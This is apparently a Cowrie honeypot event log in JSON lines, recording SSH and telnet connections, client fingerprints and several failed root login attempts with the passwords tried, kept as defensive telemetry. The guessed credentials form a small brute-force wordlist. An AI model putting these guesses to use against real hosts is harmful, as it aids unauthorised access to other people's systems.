{"eventid":"cowrie.login.failed","username":"root","password":"lexa","message":"login attempt [root/lexa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:09:10.094656Z","src_ip":"109.172.54.111","session":"a1967a568269","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:09:11.197507Z","src_ip":"109.172.54.111","session":"a1967a568269","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":37850,"dst_ip":"159.203.135.109","dst_port":22,"session":"051825adcc83","protocol":"ssh","message":"New connection: 193.46.255.86:37850 (159.203.135.109:22) [session: 051825adcc83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:09:47.877403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:09:47.882297Z","src_ip":"193.46.255.86","session":"051825adcc83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:09:48.011511Z","src_ip":"193.46.255.86","session":"051825adcc83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"team2","message":"login attempt [root/team2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:09:48.600644Z","src_ip":"193.46.255.86","session":"051825adcc83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:09:49.733218Z","src_ip":"193.46.255.86","session":"051825adcc83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":48402,"dst_ip":"159.203.135.109","dst_port":23,"session":"46a5046e6cb7","protocol":"telnet","message":"New connection: 69.4.83.194:48402 (159.203.135.109:23) [session: 46a5046e6cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:10:21.741254Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":33514,"dst_ip":"10.17.0.5","dst_port":22,"session":"647c554d851d","protocol":"ssh","message":"New connection: 103.27.238.114:33514 (10.17.0.5:22) [session: 647c554d851d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:10:22.751039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:10:22.757248Z","src_ip":"103.27.238.114","session":"647c554d851d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:10:23.042429Z","src_ip":"103.27.238.114","session":"647c554d851d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"melody","message":"login attempt [root/melody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:10:23.897057Z","src_ip":"103.27.238.114","session":"647c554d851d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:10:25.185839Z","src_ip":"103.27.238.114","session":"647c554d851d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":55080,"dst_ip":"159.203.135.109","dst_port":23,"session":"da82cdb11c52","protocol":"telnet","message":"New connection: 79.139.59.21:55080 (159.203.135.109:23) [session: da82cdb11c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:10:27.172614Z"}
{"eventid":"cowrie.session.closed","duration":33.98054766654968,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:10:55.721683Z","src_ip":"69.4.83.194","session":"46a5046e6cb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54402,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ed05e29b071","protocol":"ssh","message":"New connection: 103.153.68.219:54402 (159.203.135.109:22) [session: 8ed05e29b071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:11:01.233439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:11:01.238418Z","src_ip":"103.153.68.219","session":"8ed05e29b071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:11:01.492100Z","src_ip":"103.153.68.219","session":"8ed05e29b071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cnthdjxrf","message":"login attempt [root/cnthdjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:11:02.246970Z","src_ip":"103.153.68.219","session":"8ed05e29b071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:11:03.500946Z","src_ip":"103.153.68.219","session":"8ed05e29b071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.51888728141785,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:11:11.691365Z","src_ip":"79.139.59.21","session":"da82cdb11c52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45608,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ef7bf868c53","protocol":"telnet","message":"New connection: 69.4.83.194:45608 (159.203.135.109:23) [session: 1ef7bf868c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:11:30.287627Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":55040,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2121d4b20b7","protocol":"ssh","message":"New connection: 46.19.67.181:55040 (10.17.0.5:22) [session: d2121d4b20b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:11:37.515626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:11:37.520442Z","src_ip":"46.19.67.181","session":"d2121d4b20b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:11:37.639003Z","src_ip":"46.19.67.181","session":"d2121d4b20b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem1234","message":"login attempt [root/artem1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:11:37.997397Z","src_ip":"46.19.67.181","session":"d2121d4b20b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:11:39.118679Z","src_ip":"46.19.67.181","session":"d2121d4b20b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.02488136291504,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:12:02.312417Z","src_ip":"69.4.83.194","session":"1ef7bf868c53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":45976,"dst_ip":"10.17.0.5","dst_port":22,"session":"365758b4fc9c","protocol":"ssh","message":"New connection: 51.250.105.222:45976 (10.17.0.5:22) [session: 365758b4fc9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:12:05.283963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:12:05.289307Z","src_ip":"51.250.105.222","session":"365758b4fc9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:12:05.417854Z","src_ip":"51.250.105.222","session":"365758b4fc9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:12:05.798389Z","src_ip":"51.250.105.222","session":"365758b4fc9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:12:06.927598Z","src_ip":"51.250.105.222","session":"365758b4fc9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"50f7b1e357c9","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: 50f7b1e357c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:12:16.420825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:12:16.425639Z","src_ip":"23.97.62.150","session":"50f7b1e357c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:12:16.661258Z","src_ip":"23.97.62.150","session":"50f7b1e357c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rocky2026","message":"login attempt [root/rocky2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:12:17.369525Z","src_ip":"23.97.62.150","session":"50f7b1e357c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:12:18.609365Z","src_ip":"23.97.62.150","session":"50f7b1e357c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":25666,"dst_ip":"10.17.0.5","dst_port":22,"session":"453dc0b59b11","protocol":"ssh","message":"New connection: 194.59.206.2:25666 (10.17.0.5:22) [session: 453dc0b59b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:13:25.676729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:13:25.683225Z","src_ip":"194.59.206.2","session":"453dc0b59b11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:13:25.772644Z","src_ip":"194.59.206.2","session":"453dc0b59b11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:13:25.864309Z","src_ip":"194.59.206.2","session":"453dc0b59b11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.74.204.204","src_port":34570,"dst_ip":"10.17.0.5","dst_port":23,"session":"b436758af1b0","protocol":"telnet","message":"New connection: 77.74.204.204:34570 (10.17.0.5:23) [session: b436758af1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:14:54.903557Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":48230,"dst_ip":"10.17.0.5","dst_port":22,"session":"8195a6e0714c","protocol":"ssh","message":"New connection: 103.27.238.116:48230 (10.17.0.5:22) [session: 8195a6e0714c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:04.579060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:04.585665Z","src_ip":"103.27.238.116","session":"8195a6e0714c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":51632,"dst_ip":"10.17.0.5","dst_port":22,"session":"7555c7b159fb","protocol":"ssh","message":"New connection: 103.27.238.120:51632 (10.17.0.5:22) [session: 7555c7b159fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:04.596745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:04.602848Z","src_ip":"103.27.238.120","session":"7555c7b159fb","protocol":"ssh"}
